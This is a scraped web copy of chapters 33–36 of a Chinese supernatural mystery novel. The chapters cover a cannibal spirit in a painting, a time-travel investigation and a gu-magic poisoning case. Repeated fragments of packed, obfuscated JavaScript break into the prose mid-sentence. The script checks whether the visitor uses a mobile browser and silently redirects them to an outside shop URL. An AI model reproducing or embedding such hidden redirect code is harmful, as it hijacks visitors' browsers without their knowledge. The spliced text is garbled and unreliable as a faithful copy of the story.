d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883381|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘲讽。 而林疏的脸色沉了下来。 旧画斋——租界外——第一犯罪现场。 林疏与姬悬月对视一眼，知道那旧画斋一定非常重要。 这时候温丽雅也走了过来：“聊什么呢？小寿星。” 梁萍笑道：“聊你哥哥的旧画斋，我记得是在河对岸吧。” 林疏心中叹了一声，方向也对上了。 他反而露出个轻松的笑容来，对温丽雅道：“听梁小姐说，令兄还在搬迁旧画斋的颜料？” 温丽雅点点头：“是的，所以今天他没来。” “你们搬了很久吗？”林疏笑容无害，“是不是画太多了？” 温丽雅无奈道：“是颜料太多了。那天我帮哥哥运颜料，结果马车的后门都被颜料顶开了，颜料管漏了一地，是顾临追上来，告诉我丢东西了，他还帮我运了好多。” 林疏恍然，怪不得顾临对这件事有了解。 如果那些颜料是血制成的，顾临发现猫腻也实属正常。 “我对令兄还挺好奇的，”林疏道，“他用的颜料都很贵重，相信他的作品应该也很好看。不知道令兄的作品还有多少？就只有一楼展厅里的吗？” 温丽雅摇摇头：“并非，一楼大厅的画中只有人像画是我哥哥的作品，他别的画大部分都还在旧画斋。” “啊？”林疏装作失望，“那也太遗憾了，我很想看看你哥哥的其他作品，不知道可否将旧画斋的地址告知，我很想去看看。” “很远呢，”温丽雅笑了笑，“而且他已经不在那边画画了。最晚明后天，他就会把那些画搬过来。” 林疏问道：“那他现在人在哪里？” 温丽雅道：“在老宅收拾房间吧，也可能在来的路上了。对了萍萍，”她转向梁萍，“等下我们得赶快走，如果我哥哥知道我们到这间画室玩，会不高兴的。” 梁萍嘟着嘴转身跑了，嘴里嘟哝着：“为什么呀，我过生日他不来就算了……” 温丽雅对林疏歉意地一笑，就去追梁萍，柔声道：“这不是钱少爷在这里，他哪敢来？我哥哥这人你又不是不知道……” 林疏：“……” 姬悬月：“……” 这位梁小姐好像还脚踏两条船了！ 看顾临见怪不怪的表情，难道他早就知道？？？ 林疏露出一言难尽的表情，看着冤大头钱志远的目光都变得怜悯了。 而一旁的姬悬月已经旁若无人，开始吃盘子里的蛋糕。 一口奶油蛋糕下肚，姬悬月露出惊为天人的表情。 林疏：“……”很好，以后鬼新娘的食谱里又加了一样。 温丽雅陪着梁萍一起回去分蛋糕了，众人吵吵嚷嚷，都吃得很高兴。 林疏的注意力一直放在那幅画上。 但画室里始终很祥和。 顾临也有些疑惑于这幢洋房的平静，他试着拉开门，递给周弥一盘蛋糕，周弥也吃得很开心。 到最后，生日都算是过完了，众人打算离开，而洋房里依然没有出任何问题。 眼看这伙人要走了，林疏赶紧拽住顾临：“你知道温丽雅家的老宅在哪里吗？” 顾临有些疑惑，但还是把地址告诉了林疏。 很好，和昨晚的追踪方向完全吻合。 33. 第 33 章 林疏在脑子里过了一遍地图，知道那个旧画斋，就在昨晚他们停止追捕的那个窑子更往东边一点的方向。 等会儿如果这边没有出状况，他就带姬悬月去看。 大家收拾了画室，吵吵闹闹，顺着楼梯往下走。 果然没有出任何事，所有人，全部出了洋房。 顾临去解锁推自行车，钱志远和两名男生一起去路边拦黄包车。 林疏总算松了口气，谢绝了梁萍的邀请，拉着姬悬月与众人道别。 并承诺下次一起去郊区看海。 然后迅速朝着旧画斋的方向奔去。 眼看林疏和穆羽走了，黄包车也一辆一辆来了，梁萍慷慨道：“都坐车回去！我请客！” 说着她开始翻钱包，然后就发现随身的小手包不见了。 “哎！我的手包忘在里面了。”梁萍一拍脑门，转身就往洋房里跑去。 钱志远本来还在安排黄包车，看到女朋友跑了，他也赶紧追了上去。 这时候，本来已经坐上黄包车的众人，居然也陆续发现自己有随身物品不见。 他们马上三三两两，都冲进了洋房。 顾临看得心底发寒，他旁边的温丽雅一愣，竟然也转身朝洋房跑去。 顾临赶紧拉住她：“你去干什么？” 温丽雅回过头，她双眼里竟然全部都是眼白！ “我的戏票不见了。”她喃喃道，然后睁开完全呆住的顾临的手，朝洋房走去。 顾临出了一身的冷汗，他几乎是同时紧紧拉住了周弥，但他不敢看周弥的眼睛。 直到周弥迟疑着道：“哥哥，你抓疼我了。” 顾临赶紧松手，抬头猝不及防对上了周弥乌黑的双眸。 谢天谢地，妹妹还正常…… 顾临咬咬牙，对周弥道：“阿弥，你能在门口等着哥哥吗？” 周弥歪着头，不太懂顾临的意思。 顾临叹口气，对周弥道：“哥哥要进去办点事，你帮我看着车子。如果你觉得腿站麻了，哥哥还没出来，你就把自行车的车锁拿下来。” 说着他做了个示范，那车锁只是松松挂在后轮上，没有锁紧，周弥只需要用手一提，就能把它解开。 见周弥点头，顾临便头也不回，也钻进了洋房中。 画斋的一楼展厅仍是白墙瓷砖，干干净净。 但顾临一进门，就闻到了浓重的血腥气。 再往里走，还没踏上楼梯，顾临就瞧见二楼走廊的栏杆底下，有一丝丝粘稠的红色液体慢慢流淌下来。 在白瓷的地砖上，流下了触目惊心的痕迹。 顾临一步不停，顺着楼梯跑到二楼走廊尽头的画室门口。 他踩着一地的血伸手去拽门，门却不开。 顾临四处看了看，卷起长衫的袖子，在走廊尽头的一堆杂物中找出了一个铁皮包边的小马扎。 举起了马扎，顾临照着木头的门板狠狠砸了下去。 门板很快被砸烂了，门锁终于咔哒一声开了，顾临推门冲进去，就看见了惨绝人寰的场景。 简直如同人间炼狱。 不知何处出现的，红裙的金发美女，正如修罗厉鬼一般，俯在一个看不清形貌的人身上。 她正从他身体里拽出什么，往嘴里塞。 顾临蹙眉，环视了一圈，屋子里还有几个人活着，但他们面露呆滞，像是被魇住了。 也可能是吓傻了。 顾临扛起离他最近的钱志远，丢到门外，又扶起跌跌撞撞的温丽雅，丢到门外。 但在扛起下一个的时候，他一回身，发现画室的门又被锁上了。 屋内的人不够。 顾临蹙眉拽了拽门把手，然后把肩头的人丢下，开始大力破门，无果。 他隔着玻璃往外看，就见钱志远在离开房门后就恢复了清醒。 他惊得浑身发抖，看见顾临还在里头，他鬼哭狼嚎着砸门，可是门纹丝不动。 顾临马上对他大声喊，但隔着门仿佛隔着奇怪的结界，他的声音钱志远听不见，钱志远喊他他也听不见。 顾临只得弯腰，用手指蘸了血，在玻璃上反着写下歪歪扭扭的两个字：周弥。 钱志远在门口哭得鼻涕眼泪都混在了一起，他大力点头，顾临知道自己的交代他听进去了。 而身后传来布料摩挲的声音，顾临回头，就见红裙子的玛丽亚夫人已经紧贴在了他身前。 那双幽蓝的眸子早变作食人的血红，正与他紧紧相贴。 或许这食人魔是期待顾临发出恐惧的尖叫。 但顾临只是抬起眸子，与她对视。 眉眼如风过青竹，不染尘埃。 …… 租界之外，温家老宅。 林疏与姬悬月再三确认，老宅的管家都说少爷没回来过。 “我们是在租界收到温小姐邀请，才来看画的。”林疏耐心道。 老管家连连摆手：“大少爷两天多没回来过，画斋也搬空了，都不在这了，你们走吧。” 林疏还想再问，老管家却将门板拍在他鼻子尖上，他只得作罢。 姬悬月四处看了看，突然拉拉林疏的袖子，示意先走。 而两人转身离开后，估摸着里头的人听不见他们说话了，姬悬月才道：“去后院，翻墙。” 林疏啧了一声，心想都怪自己带坏小孩。 嘴上嫌弃，但身体很诚实，林疏非常主动地跟姬悬月一起偷偷绕到了温宅的后院。 然后挑了个顺眼的院墙，爬了上去。 温宅的确萧条了，林疏看着荒草丛生的院落，开始怀疑自己是不是又进了什么鬼宅。 但老管家的脚步声在前院绕来绕去，林疏觉得，应当不是。 想证明也很简单，林疏原地点燃了一张“溯灵”。 温家老宅的痕迹，就比那租界里的新画斋要直白得多了。 到处都是犯罪的痕迹。 林疏看得触目惊心，他闭着眼睛，跟着溯灵悄悄往里走。 慢慢的，给他找到一个全是血迹的门，他睁开眼睛一看，那扇门却干干净净，一尘不染。 推开门后，他看到了一个空房间。 在身后的姬悬月眼中，这房间只是被搬空了。 地上的灰尘印深浅不一，留着摆放过画框和用具的痕迹。 但在林疏眼中，这是一个疯狂的犯罪现场。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883382|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 如果说警察需要用鲁米诺试剂，才能勘测到现场的血迹。 然后根据痕迹来推断现场发生的事情。 那么“溯灵”，就是一场大型的还原秀。 林疏从业多年，见过各种凶神恶煞的现场。 但没有一个让他如此恶心。 是画画的女学生在窗前慢慢调制颜料，白色西装的男人从后面拥上来与她吻。 是事后女学生系上扣子，还未来得及穿鞋子，就被红裙玛丽亚拖进了画中。 而西装男子点了一支烟，就那么注视着她被啃噬。 是浓妆艳抹的特殊行业女子，先跟白色西装的男人谈好了价格，才脱到□□，坐上桌子，给男子当写生的模特。 但写生结束后，男子欲行不轨，她拼命挣扎，最后画中的玛丽亚走出来，将她带进了白色的城堡。 但这两人，并不是全部受害者。 林疏甚至能够通过“溯灵”，看见那个白色西装文质彬彬的男人，是如何一边夹着烟眯着眼睛笑，一边看着他的“玛丽亚王后”从画中走出来，对那些手无寸铁的可怜女子下口。 身后的姬悬月不明所以，而林疏不愿与他分享这种视觉冲击，他推着姬悬月出了那道门。 万幸他们的潜入没有引起旁人的警觉，事实上这座宅子里也没有什么旁人了。 一边往外走，姬悬月一边问道：“难道大少爷并不是食人魔？” 林疏深呼吸调整情绪，好半天才道：“他不是，画中女人才是食人魔……他只是一个创造和饲养了‘魔’的人。” 姬悬月蹙眉道：“食人魔在画中？画成了精，自然应该是精怪，怎会是魔？” 林疏听了这话一愣。 他还没细想过这个问题，但姬悬月说得没错，非人之生者，生怨成妖，而生者生怨称为魔；死者生怨称为鬼，死物生怨称为怪。 画里的玛丽亚王后再如何凶戾，也应该是只精怪。 难道画的人太像人，也会成魔？ 林疏回忆起溯灵中，玛丽亚王后食人的场面……明明清晰而真实，他却有些不能确定了。 或许要问问林聆，才能知道。 但无论如何，林疏和姬悬月得出一个结论： “既然凶手是画中玛丽亚，那么洋房一定出事了。” …… 洋房的确出事了，周弥在门口等了很久。 她的腿脚还没有开始发麻，但她已经要没有耐心了。 她犹豫着将手放上车锁，又觉得此事荒谬。 她不明白“哥哥没有回来”和“解开自行车的锁链”之间有什么必然关系。 林疏和姬悬月贴着神行符气喘吁吁地赶来时，看到的就是这一幕。 周弥蹲在自行车后面发呆，而洋房二楼，那个他们曾经待过的画室，两面窗户都已经拉上了窗帘。 林疏明明记得，他们走之前，那画室只有一面窗帘是拉着的。 “你哥哥呢？”林疏上前询问周弥。 周弥摇摇头：“他还没有出来。” “他进去了？”林疏皱眉，“都谁进去了？” 周弥细声细气道：“除了我，都进去了，都没有出来。” 34. 第 34 章 坏了！ 林疏当场就要往里跑，却被姬悬月拉住。 姬悬月问周弥：“你哥哥进去之前嘱咐过你什么？” 周弥道：“他说，如果我等得脚麻了，他还没出来，让我把自行车锁……解开。” 林疏听了这话一愣。 但姬悬月已经手快，将那自行车锁链扯了下来。 周弥：“……” 接下来，不光林疏和周弥傻了眼，连姬悬月也傻了眼—— 自行车原地……扭动了几下，突然变成了一头油光水滑的驴。 驴眨眨眼睛，叹了口气。 是的，没错，驴叹了口气。 林疏觉得自己可能是没睡醒。 ……不过想想也对，民国的时候还允许动物成精，说不定这就是一头成了精的驴。 但林疏没空看成精的驴，他更惦记里面的情况。 于是抛下驴和少女，他拉着姬悬月钻进了洋房。 屋内的血腥味非常明显和刺鼻，林疏瞬间就听见了二楼传来的，钱志远的哭声。 他赶紧跑上楼，就看见钱志远在门口砸门，而门上的玻璃窗上，有人用血歪歪扭扭写了“周弥”两个字。 “其他人呢？”林疏赶紧问道。 钱志远一把鼻涕一把泪：“都死在里面了……我对不起顾临！我对不起顾临！” 林疏还想问，画室的门里面突然传出一声巨响！ 这声音大得连姬悬月都愣了一下，他本来在看见满地的血后，心神恍惚了片刻。 这时候，他们身后突然有一人，拨开了他们，并道：“借过。” 林疏惊讶地回头，看见一个短发白衣的陌生男子不知何时出现在他们身后。 林疏本能以为这是温家大少爷，因为这身白衣很像。 但林疏很快发现他不是，因为他的眉眼比“溯灵”中的温家大少爷好看许多，眉目如画，轮廓格外温润如玉，像一尊精致的玉雕。 男子走到门口，抹了一把门把手，那门就开了。男子几乎没有犹豫就闯了进去。 林疏和姬悬月也赶紧跟了上去，并非常一致地把钱志远推到了门外。 开玩笑，就算是复制的时间线，林疏也不希望鹤城以后没有了那个物美价廉的“红梅酒家”。 白衣男子进门后，就马上去拥住了站在房间中央的顾临，原来他们才是旧相识。 林疏和姬悬月进门时，就听见白衣男子低声问顾临：“又冲破位面了？没关系，等下我们就……” 见林疏和姬悬月进来了，白衣男子不再说话。 林疏首先看见的，却是那巨幅的《玛丽亚王后》，画面中白色城堡已经被鲜血浸透，湛蓝天空也成了暗红，几乎到处都是血色。 但画上女人依旧干净美丽，栩栩如生。 而画室里已经没有其他的“人”，活的死的都没有。 顾临回头看林疏和姬悬月，轻声道：“玛丽亚失控了，我没能救下他们。” 他身旁的白衣男子安慰他道：“没关系，重要的人活着就行了。” 顾临摇了摇头：“我恐怕失败了。” 林疏不太明白他的意思，但本能意识到，这个“成功”似乎与他和姬悬月有关。 身后的姬悬月道：“玛丽亚是画中的女子吗？” 顾临点点头：“她就是食人魔，已经被我封印在画中。” 接下来，顾临将自己所知真相，娓娓道来。 原来，从上次偶然遇上温丽雅运送颜料的时候，顾临就发现，那些颜料里蕴含着非常浓郁的怨气。 得知这些颜料是温丽雅的哥哥亲手调制之后，顾临猜测，这个温家大少爷，恐怕在做一件惊世骇俗的事情。 他在“做魔”。 用自己的手，创造出一个“魔”。 顾临说，在租界里死人是大事，但租界外的人命，其实并没有人在意。 顾临早就发现了，东边船厂附近的船娘、洗衣服的寡妇，还有大寨里的女人，都在陆陆续续地失踪。 顾临有一个靠洗衣服维生的母亲，和一个天生自闭的妹妹，那怪物的胃口越来越大，他不能不去查。 而所有线索，都指向了温丽雅的哥哥。 林疏蹙眉问道：“温丽雅呢？也死在里面了吗？” 顾临一愣：“我把她救出去了，她没在门口吗？” 林疏道：“门口只有钱志远。而且我们问过你妹妹，这幢洋房，目前还没有人出去过。” 顾临眸光一凛：“难道……” 林疏还想说什么，顾临已经走到那幅画前面，他浑不在意地用手去摸玛丽亚王后血红的裙摆，慢慢的，他手底下的颜料开始模糊。 精致的笔触在他的摩擦下慢慢糊成了一团。 而林疏忍不住走上去，就看见顾临手掌之下，那裙摆上，居然浮现了一张又一张的人脸！ 顾临还在不停抹着玛丽亚夫人裙摆上的颜料，随着他的掌心移动，玛丽亚王后的鲜红裙摆上，竟然铺满了人脸！ 那是所有因为这幅画中的食人魔而丧命的人的面孔！ 最中间，是一张林疏刚刚才见过的脸。 是温家大少爷的脸！ 原来他自己，也早就成了《玛丽亚王后》的口中之物、裙下之臣。 林疏一时间，只觉得啼笑皆非。 但顾临抹完了裙摆，又抹完几乎整幅画上的血红，脸色却并没有变好。 林疏仔细看过这幅画后，也变了脸色。 画中没有温丽雅。 温丽雅到底去了哪里？ 然而这些谜团终究要随着时间线的归一消失了。 林疏很想查下去，但他知道，食人魔的线索已经足够。 他只要在回到现代后，想办法找到这幅画，再把封印在画中的食人魔“玛丽亚王后”用锁灵瓶收走，带去给林聆，就可以了。 至于民国时期，温宅里到底发生过什么，这是他有心无力的事。 溯回沙漏，一次最多用七天，他们的时间已经不够了。 顾临倒是也没有打破砂锅问到底的意思。 他只轻声喊了身边的白衣男子一声：“顾浣。” 林疏还想问什么，顾临已经起身离开。 白衣男子默契地与他一同出了画室门，并扶起钱志远。 然后下楼离开了洋房。 林疏和姬悬月赶紧跟了上去，看见这二人叫来了一辆黄包车。 然后钱志远就被车夫拉走了。 而顾临在目送他远去后，朝白衣男子看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883383|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一眼。 就在林疏和姬悬月目瞪口呆的注视下，白衣男子缓缓变成了驴，最后变成了自行车。 林疏：“……” 姬悬月：“……” 顾临安顿好还有些呆呆的周弥，转身对林疏和姬悬月道：“我们的缘分已散，以后恐没有机会相见。希望你们保重。” 说完，他推着驴……推着顾浣牌自行车，和周弥一起，沿着大路离开了。 林疏啧了几声，道：“他不是这个时代的人，也不是‘食人魔’这个案子里本来存在的人，你信不信？” 姬悬月点头：“我信。” 林疏好奇道：“你不问问我为什么这么觉得？” 姬悬月笑道：“反正你说的都对。” “哎呀，你耍赖。”林疏伸着懒腰道。 享受了最后一个清闲的傍晚，两人漫步在鹤城街头，把剩下的一块大洋和几个银元都吃了。 姬悬月感叹着回去之后就只能吸吸味道，不能大嚼大咽。 而林疏感叹着回去之后就不能大手大脚花钱了。 养鬼新娘可是很贵的！ 他们回到旅店，姬悬月换上了鬼新娘的长裙，林疏换回了陈旧的道袍。 随着沙漏中最后一粒沙归位。 林疏握住了姬悬月温暖的手。 周围的景色如万花筒一般迅速倒退，姬悬月的手恢复冰凉。 胸腔中的心脏，停止跳动。 他们又回到了灵调局的办公室中。 林疏先是怔了一会儿，他没有松开姬悬月的手。 但姬悬月的实体已经渐渐消失，他变回了触摸不到的幽灵。 林疏突然笑道：“真好，这样你的脚就不会疼了。” 他转过身，将空荡荡的手掌按在胸口。 仿佛那掌心还留着姬悬月的温度。 没有哪一瞬间，比此刻更让林疏清晰地意识到，他和姬悬月之间，有生与死的距离。 姬悬月察觉到林疏的情绪不对，他想开口问，但又不知道该说什么。 直到林疏转过身来，换上了正常的表情。他微微一笑，取下了脖子上的沙漏：“我去归还法器，你在这里等我。” 借用“溯回”沙漏七天，林疏签了条子，毕恭毕敬把这法器还给了林聆。 林聆把沙漏放在封灵盒里，上下打量了林疏一圈：“你这一趟，变化不小。” 林疏愣了一下：“啊？” 林聆摘了眼镜，被镜片遮盖的狐狸眼登时露了出来，他那一眼，仿佛看穿了林疏心里所有的小九九。 林疏被他看得心慌，又不得不嘴硬道：“我倒是觉得我没什么变化。” 林聆直接把眼镜戴了回去，面无表情道：“线索拿到了，就去把食人魔搞定。收妖除魔应该不用我教你了吧？” 林疏忙不迭点头要跑，林聆已经再次开口：“你的外勤条子还没补，还攒了三天的案子没……” 林疏已经一溜烟消失了。 沙漏时间线里的时间流速与现实中有些不同。 林疏和姬悬月去了民国七天，在现实里相当于三天。 离开林聆的办公室后，林疏松了口气。 他下意识掏出手机，打开一看微信，已经被满屏幕的消息塞满了。 35. 第 35 章 最多的是工作群里的各种文件，和同事们的“收到”，其次是垃圾短信，还有小纪的狂吼—— 小纪查到了一些关于姬悬月和穆家的往事，但不能直接发来，要面谈。 林疏有些尴尬，赶紧给回了一个：“出差去了，刚回来，约个时间？” 小纪回了个OK的表情包。 最后是穆迎秋的消息。 上次林疏发给他“不喜脚踏两条船”之后，穆迎秋隔了大约一天，发了个害羞脸笑眯眯的猫猫头。 然后在林疏与姬悬月回到灵调局的两小时前，发给林疏一张照片。 是从飞机窗户俯拍的一张蓝天白云，看起来他又不知飞哪儿去了，有可能是回意大利了。 林疏眨眨眼忽略了他，开始专心翻看上级下发的文件。 看到一半，林疏已经回到办公室。 姬悬月和往常一样靠在墙上面朝窗外，见他回来，目光落在他手上。 林疏扬了扬手机，如丧考妣：“我攒了三天的案子没办，还有好几篇工作记录没写。” 还有一只食人魔没抓。 林疏叹了口气，先拨了拨办公桌上堆积如山的案卷，顿时一个头两个大。 “食人魔……也不知道还在不在画里。”林疏道，“不管了，先去抓它，省得夜长梦多。” 姬悬月问道：“你打算如何找到那幅画？” 林疏头也不抬，先写了张外勤的条子，然后道：“先找温家老宅，再找那个洋房。就算拆了，也要掘地三尺把人一代一代找出来。” 林疏说干就干，直接出了外勤，带着姬悬月离开了灵调局。 既然知道了真相，就该在纠正的时间线里尽快将“食人魔”捉拿归案。 只是不知道在现在的鹤城，温家老宅和新画斋所处的洋房到底还有没有留下。 骑上自行车，林疏突发奇想问道：“所以顾临骑车的姿势那么奇怪，是因为他知道自己骑的是顾浣？” “……”姬悬月回忆了一下，迟疑道，“或许吧，如果你知道你骑的自行车是我……” 林疏：“……” 虽然生动形象方便理解……但真是个危险的话题！ 如今的鹤城和民国时期的鹤城变化实在太大了，林疏不得不在寻找了约半小时后，紧急冲进旁边的新华书店，买了两份地图。 当民国租界地图与现在的鹤城地图叠在一起之后，林疏愣住。 那温家老宅旧画斋的位置，竟在九龙千年柱附近，如今已经不复存在，盖上了新的居民区。 而新画斋的洋房，竟然是被划归在鹤城旧址保护区的文物。 换言之，没有搜查令的话，林疏进不去。 林疏：“……” 林疏悻悻骑车，转回了灵调局。 申请保护区的搜查令并没那么简单，林疏递了申请书后，只能等。 在等待的时间里，他开始筛选这三天堆积的案卷。 但这一筛查，却出了问题。 林疏发现，有一桩案子，又与他有关。 在林疏落座后，姬悬月就重新站回了林疏身后，一直无声注视着林疏的背影。 所以林疏的目光久久落在一份案卷上没有挪开时，他本能地问道：“怎么了？” 林疏隔了一会儿，缓缓道：“你还记得，我第一次带你出门那天吗？” 姬悬月点点头：“记得呢，你去见那个‘小轩’。” 林疏：“……” 名字倒也不必记得这么清楚。 林疏道：“你还记得吗？那天为了摆脱那群人，我对他们施了幻术。” 姬悬月蹙眉：“不太记得，怎么了？” 林疏将案卷摊开，那上面有六张照片。 死者的照片。 林疏道：“他们都死了。” 姬悬月愣了一下，思考片刻道：“他们那般为人，有这一天也不奇怪。” 林疏将案卷递给姬悬月。 姬悬月接过，细读，然后便和刚才的林疏一样蹙起眉毛，目光落在案卷上久久不曾挪开。 8月10日晚21:14分，十三行社区派出所接到报案。案件记录如下： 8月10日晚，十三行街“夜不寐”酒吧内，照片中六名男子在饮用酒吧出售的香槟后，出现了吐血、晕眩等中毒症状。 酒吧经理立即拨打110和120，并在救护车赶到前，对六名男子进行了急救。 但在救护车将中毒者送往医院途中，这六名男子均不治身亡。 经过法医解剖，发现六名男子的口腔、食管及内脏出现不同程度的化学腐蚀，疑似直接饮用了浓度为7%-10%的次氯酸钠溶液（家用漂白水）。 但被害人体内外并未检测出次氯酸钠成分。 经过对夜不寐酒吧的排查，并未发现酒吧内存有7%-10%浓度的次氯酸钠溶液。 经过对六名被害人生前饮用酒水的剩余成分检测，并未检测出酒水中含有腐蚀性化学成分次氯酸钠。 经过鹤城十三行区公安分局批准，特将此案转交灵调局。 “……”姬悬月看简体字还有些吃力，但他连蒙带猜，已经看懂了案卷的意思，“那天的六个人死于灵异案件？” 林疏点头：“是蛊术中非常常见的置换。顾名思义，将他们喝进去的酒置换成漂白水，再在他们死后，将漂白水置换为香槟。” 这样用科学手段就查不出漂白水的成分了。 姬悬月便问道：“是哪里的蛊术？” 林疏沉声道：“鹤城本地。” 鹤城地处西南，虽然曾经有过沉重历史，如今也有了高度发达的经济，但始终难摆脱西南少数民族的痕迹。 如果再往前推一百年，这里随便一个老人都会放蛊。 而“置换”这门蛊术，林疏知道会用的寨子就超过10个。 但灵调局员工就是要迎难而上！ 林疏干劲满满，将姬悬月拴在手腕上，带他去了“夜不寐酒吧”。 出了这样的事，这倒霉的酒吧当然是歇业整顿了，林疏跨进门的时候，大厅里还保持着案发当天的模样。 酒吧的老板一脸晦气：“倒霉事都让我碰上了。就这六个人，半个月前就有一次，说什么都不付账，还说酒不是他们开的。” 林疏：“……” 真抱歉，确实不是他们开的。 老板引着林疏走到一个卡座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883384|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，道：“这就是出事的地点。” 林疏一看，还真就是那天跟小轩他们一同来的时候，坐过的卡座。 酒吧老板知道这次来的是灵调局的人，也不敢过多打扰，就说有事再找他，让林疏随意。 林疏看着他走了，点燃了溯灵，果然在桌上看到了金蚕蛊活动过的痕迹。 只是“溯灵”的能力有限，林疏也不是蛊民，分辨不出蛊是谁家的。 外勤归来后，林疏带着卷宗直奔档案室。 小纪正在归类旧档案，看见林疏来，还以为他是来讨论姬悬月的。 然而刚伸长了胳膊，他就看见了林疏身后亦步亦趋的姬悬月。 小纪：“……” 伸出的手和笑容一起收了回来。 林疏三两步冲到档案室门口，拿着案卷往玻璃窗上贴了一下。 小纪走过来，打开门：“又出了什么事？” 林疏正色道：“建国以后老蛊王们的档案有没有？” 小纪点点头：“都有啊，怎么了？” 林疏道：“你看看这个。” 小纪接过案卷一目十行看完，也是一愣：“置换？” 林疏点头。 小纪挠挠头：“这就怪了，老蛊王们……” 他沉思片刻，道：“档案库里的记录，都是十年前局长亲自一个一个走访录入的，那时候各寨子的蛊王就没剩几个了。” 他转身，进档案室翻找了一会儿，带着一个档案盒出来：“都在这里，现如今活着的也很少了。” 林疏打开细看，小纪就在一旁回忆：“不说别的，我记得2020年人口普查的时候，查出来北边卡苏苗寨的蛊王已经去世，她没有弟子，只有个女儿，说没有学蛊。到这里，卡苏苗蛊这一脉就算是断了。” 林疏匆匆过了一遍，问道：“基本都在寨子里，鹤城没有蛊王吗？” 小纪一脸莫名其妙：“哪有蛊王会到城里来的？就鹤城这么热，除了蚊子什么虫能活下来？” “……”林疏一想也是，蛊虫多喜爱潮湿阴冷的环境，偶有喜热的，也受不了鹤城这月月35℃高温的气候。 但如果是这样，是谁对那六名男子使用了“置换”？ 林疏已经翻过，各处的蛊王都几乎断了传承，甚至有一支在乌多苗寨的蛊王，她的后人早就移民了。 而“置换”是细致的巫蛊之术，非蛊王，不能做得这么天衣无缝。 因为这种巫术，是要用金蚕蛊来完成的。这种蛊极难炼，也极难控制。 最经典的“置换”行为，就是传说中蛊民会用金蚕蛊将过路的旅人缠住，将其身上财物置换成石头。 发展到抗战前后，老蛊王们集合起来的“置换”，甚至曾经将一支侵略军从军营里置换到沼泽地，再放蛇蛊将他们咬死。 这也是鹤城所在的省份，受到的战火并没有波及全省的原因。 除了鹤城这个兵家必争之地曾经屡次遭到入侵，其他的偏远山区和寨子，侵略者是不敢进入的。 林疏心乱如麻，让小纪帮他留意着蛊王的消息，然后带着姬悬月走了。 又想起之前博物馆的失窃，林疏意识到，这是暗中有人在针对他。 36. 第 36 章 而且此人知道他抓回了姬悬月，知道他和姬悬月一同出门。 此人在暗中监视他！ 林疏脊背出了不少冷汗，不由得把穆迎秋放在了第一嫌疑人的位置。 他马上掏出手机，打开穆迎秋发给他那张照片。 照片虽照的是飞机窗外的蓝天和云层，但照片边角不可避免地扫到了一点点机翼后缘。 那是南方航空的飞机。 型号林疏也搞不清楚，但这绝不是飞往意大利的飞机。 林疏沉思片刻，给穆迎秋发去了一条消息：“刚出差回来，你离开鹤城了？” 然后他按灭手机，去一楼检察科催他的搜查令。 他怕再不赶紧出手，《玛丽亚王后》就只剩下一个木框了。 …… 正午时分，鹤城最热的时候。 林疏汗流浃背，带着姬悬月来到了鹤城古建筑保护中心。 出示搜查令后，林疏跟着工作人员在保护区左拐右拐，终于看到了那幢熟悉的洋房。 经过几乎整百年的时光，这幢曾经粉妆玉琢的建筑已经披满了岁月的痕迹，甚至连形状都有些不一样了。 工作人员对林疏道：“这幢房子曾经被炮弹轰过，这都是后来修复的。” 林疏礼貌问道：“这房子最后一任主人姓什么？” 工作人员道：“姓钱。他家的人现在还在鹤城，房子就是他们捐给国家的。” 林疏顿时想起了那个戴眼镜的圆脸少年，钱志远。 会是他买下了这个房子吗？ 工作人员道：“其实里面没什么好看的，都搬空了，顶多还留有一些重建时用剩的材料。” 林疏道：“里面原来东西搬去哪里知道吗？” 工作人员摇头：“交给我们保护中心的时候就空了。你可以去问问原主人，我记得他们留了联系方式在中心。” 林疏点头，接过工作人员手中的白手套戴上，然后跟在她身后，进入了这幢，曾经浸满鲜血的洋房。 屋内如她所说，已经完全空了。 一楼的展厅不知被哪一任主人隔成了很多小房间。 墙上还留着没撕干净的贴画，和钉子留下的空洞，处处布满了生活气息。 旋转楼梯已经被拆除，换成了铁制的平行双跑楼梯，林疏跟着工作人员来到二楼，那些画室也都不再是以前的模样。 红衣的玛丽亚王后曾经作乱过的那间画室，甚至被当做了厨房——满墙都是烟熏火燎的痕迹。 